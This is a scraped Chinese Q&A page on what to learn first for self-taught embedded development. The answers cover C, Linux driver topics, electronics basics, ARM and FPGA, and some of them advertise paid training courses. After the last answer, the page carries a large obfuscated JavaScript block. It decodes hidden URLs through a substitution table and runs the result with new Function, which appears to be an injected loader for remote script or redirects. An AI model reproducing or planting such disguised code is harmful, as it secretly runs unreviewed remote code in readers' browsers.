自学嵌入式开发应该先要学些什么?

2025-02-25 05:56:23
推荐回答(5个)
回答1:

嵌入式开发的学习其实并没有那么难,只要了解学习的体系,掌握正确的学习方法,学习起来并不难。来讲一下嵌入式开发都要学些啥!

嵌入式开发的主要学习内容:

  • C,Java核心编程:c语言核心编程,Java核心编程;

  • Linux核心操作与算法:Linux系统使用,Linux-c编程核心技术,精品数据结构,Linux-c编程精髓;

  • 核心操作与算法:Linux系统编程,Linux网络编程核心技术,UI编程,Java核心编程,安卓核心技术;

  • ARM+Linux底层开发:数字电路,ARM编程核心,Linux系统开发,嵌入式Linux驱动开发;

  • 大型项目实践:每期安排各类型真实的项目

  • 互联网行业目前还是最热门的行业,学习IT技能之后足够优秀是有机会进入腾讯、阿里、网易等互联网大厂高薪就业的,发展前景非常好,普通人也可以学习。

    想要系统学习,你可以考察对比一下开设有IT专业的热门学校,好的学校拥有根据当下企业需求自主研发课程的能力,建议实地考察对比一下。

    祝你学有所成,望采纳。

    请点击输入图片描述

回答2:

最基础的 数电模电 要理解,能掌握最好
数电模电别看是最基础的,大多数人都迷糊着呢。
掌握了数电模电,电路图都能看懂了,你绝对不愁找不到工作!

专业基础的话肯定从 《单片机》 入门 很简单
不同学校,教的单片机型号可能不一样,不过大同小异,差别很小
但很多学校器材比较老,可能学的还是MCS51系列
目前流行的是ARM系列 ARM7 ARM9
ARM7上手较简单,广泛用于工业控制
ARM9较难些

不过目前的趋势是 FPGA 门电路
与普通单片机有本质区别,用处更广,功能更强
鉴于你现在可能还没学完 数电 ,它们的区别就不给你说了

我的建议
1、模电数电 学好
2、单片机(入门简单的如ARM7) 要多做做实验,能完全理解控制方式。
要经常能去实验室,自己动手焊板子。好好利用学校的器材资源,可以做一些小发明,会很有成就感。(不要像我,在学校没好好利用。出来了,都是自己掏钱买材料研究,贵啊!!)
3、相信我,FPGA绝对是大势所趋,你要是觉得学的差不多了就搞它吧。

回答3:

1. 说在前面

“嵌入式软件开发”包括“嵌入式应用开发”和“嵌入式驱动开发”,本站主要关注的嵌入式开发内容为“嵌入式驱动开发” ,继续细化的方向为“嵌入式Linux驱动开发”,知识点我们首先可以从方向的名字关键字上有所理解:嵌入式,Linux,驱动。

“嵌入式” 代表的是产品的类型,它是相对于PC来说的,具体的概念,本站已经说的非常清楚了,这里就不累述了。具体请看关注新人系列的职业规划帖子。
“Linux”代表的是嵌入式产品中使用的软件操作系统,也就是说我们选择Linux操作系统作为主要学习对象。你可以理解为它相对于PC机上的windows操作系统。
“驱动”代表的是Linux操作系统开发中的一个方向“驱动开发”,说明我们当前关注的是linux驱动开发,而不是linux应用开发。你可以理解为相对于PC中的windows操作系统的驱动,我们用PC电脑的时候,有些时候你不是需要自己安装某些驱动吗,就是这个意思。

总结一下,所以我们现在关注的开发内容归根到底就是“驱动“开发,不过这个驱动是”Linux“操作系统的驱动,而这个”linux“操作系统主要是跑
在”嵌入式“产品上的。所以我们开发的主要知识点就是集中在”Linux驱动“ 和
”嵌入式“两个概念上来。我们知道了知识点概念的前因后果之后,开始对这两个知识点的开发细节做进一步细化。

所谓”嵌入式“开发:
我们知道概念上它是相对于PC开发,前面的叙述得知我们采用的操作系统为linux,那么我的问题来了:如果PC机上也跑的是Linux操作系统,基于PC的linux开发其实和基于嵌入式系统的linux开发基本开发思路是一样的,只不过开发过程中的编译,
烧录方式有差别。下面我们就说说这两种开发方式的异同点,因为PC对于我们来说不陌生,那么在PC机上安装个ubuntu系统也应该是大家都这么玩过。既
然这两种开发方式只是编译和烧录有区别的话,那么我们就很容易通过PC机上安装个ubuntu来快速认识嵌入式linux系统的开发了。

PC机linux开发:

如果你有个PC,并且安装了ubuntu,假设我们PC上有SD卡控制器,但是ubuntu中的linux并没有这个型号的SD卡驱动,那么如果我们想开发个PC机上SD卡驱动,我们就可以分以下几步开发:
(1)下载相应的ubuntu版本的linux内核源码到本PC机。
(2)如果该linux代码里没有该SD卡型号的驱动,那么就需要我们针对该SD卡型号写基于linux的SD卡驱动,这一步也就是我们主要的”驱动“开发任务。
(3)针对linux内核,直接在本机上make menuconfig,配置选择该型号的SD驱动支持,前提是你已经开发好了SD卡驱动了。
(4)使用本机ubuntu上GCC编译器直接编译内核:make。
(5)烧录内核:直接在本机上make modules_install, make install.这个动作将把相应的驱动程序拷贝到ubuntu的boot目录,重启的时候SD卡驱动就会生效了。

嵌入式系统linux开发:

如果你有个s3c6410,2410的开发板,或者任何一个嵌入式arm的开发板,并且安装了Linux,假设我们板子上有SD卡控制器,但是用的linux并没有这个型号的SD卡驱动支持,那么如果我们想开发个基于开发板机上SD卡驱动,我们就可以分以下几步开发:
(1)拿到相应的版本的linux内核源码并放置到开发用的PC机。
(2)如果该linux代码里没有该SD卡型号的驱动,那么就需要我们针对该SD卡型号写基于linux的SD卡驱动,这一步也就是我们主要的”驱动“开发任务。
(3)针对linux内核,直接在开发机上make menuconfig ARCH=arm,配置选择该型号的SD驱动支持,前提是你已经开发好了SD卡驱动了。
(4)使用开发PC机ubuntu上已经安装好了的arm-linux-GCC编译器直接编译针对开发板的内核:make ARCH=arm。
(5)烧录内核:将编译后生成的内核文件通过串口现在,usb下载,tftp等下载到目标开发板子上面,重启开发板,看到SD卡驱动生效。

大家可以看到我们关心的两个知识点中的“驱动”开发,主要是第(2)项在PC上和嵌入式上基本是相同的。另一“嵌入式”知识点是和PC上有区别的,主要区别在于:编译和烧录方式。

所以我们对于“嵌入式linux驱动”开发的知识点总结,主要是linux“驱动”的开发和“嵌入式”系统的烧录编译方法。

2. 知识点总结

嵌入式系统的烧录和编译知识点:

(1)PC服务器的准备,安装ubuntu系统
(2)交叉编译器的安装,编译方法。
(3)下载到目标板,串口烧录,usb下载烧录,tftp网络烧录。
请大家仔细阅读本站的跟我学系列贴子,通读之后我相信“嵌入式”的这个知识点就已经完整的掌握啦。
http://mcuos.com/thread-8166-1-1.html

Linux驱动开发知识点:
(1)C语言基础 - 基础知识点
(2)操作系统基础理论 - 基础知识点
(3)简单的linux命令操作 -基础知识点, 有没有玩过ubuntu或者其他发行版?有没有使用过命令行做一些事情?
(4)设备的文件节点 - 必备知识点,/dev/下面节点的意义,mknod创建dev文件节点。
(5)简单驱动的modules的编写和加载 - 必备知识点, insmod, modprobe, rmmod命令的意义,为模块传递参数。
(6)字符型驱动编写 - 必备知识点
(7)驱动基本调试方法 - 必备知识点,printk打印驱动信息,dmesg打印kernel信息,proc,sys目录的意义。
(8)共享资源的同步机制 - 必备知识点,资源临界区概念,自旋锁,信号量,等待队列的使用。
(9)硬件IO的访问 - 必备知识点,ioremap,memory map,writel,readl读写接口。
(10)中断的request和中断号的分配 - 必备知识点。
(11)PCI,AMBA总线知识 - 必备知识点。
(12)时间管理 - 必备知识点,udelay,mdelay长延时和短延时,jiffies,os timer原理。
(13)块设备驱动程序的编写 - 必备知识点。
(14)Kconfig和Makefile,添加驱动到内核 - 必备知识点。
(15)一个比较大型的驱动程序学习 - 选学知识点,选取任何一个eMMC,SD,USB等比较大型的驱动学习。

3. 知识点速成
osboy正在针对知识点进行梳理,目前速成教程已经编纂完毕,速成班招生进行中。。。详情请参考:http://mcuos.com/thread-9692-1-1.html,也可以QQ 82475491联系osboy进行咨询交流。

回答4:

怎么定位的?嵌入式指啥呢?

回答5:

学习嵌入式应用开发需要掌握一定的编程语言、操作系统和硬件知识,以下是一些学习嵌入式应用开发的建议:
1)学习C/C++等编程语言:C/C++是嵌入式系统最常用的编程语言之一,掌握这些语言的语法和特性可以帮助开发人员更好地理解嵌入式系统的工作原理和程序运行过程。
2)学习操作系统基础知识:嵌入式系统中的应用程序通常需要在操作系统上运行,因此需要了解操作系统的基本原理和功能,如进程管理、内存管理、文件系统等。
3)学习嵌入式系统的硬件知识:嵌入式系统的硬件结构和工作原理是进行嵌入式应用开发的基础,需要了解嵌入式处理器的架构和指令集、存储器和外设接口等方面的知识。
4)参加相关的培训课程或自学:可以通过参加相关的培训课程或自学来掌握嵌入式应用开发的知识和技能,一些在线课程和学习资源也可以帮助你快速入门。
5)实践项目:通过参与实际的嵌入式项目开发,可以帮助加深对嵌入式应用开发的理解和实践,主要涉及到嵌入式系统的硬件和软件两个方面。在嵌入式应用开发中,常见的应用场景包括智能家居、智能穿戴设备、智能手机等。

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();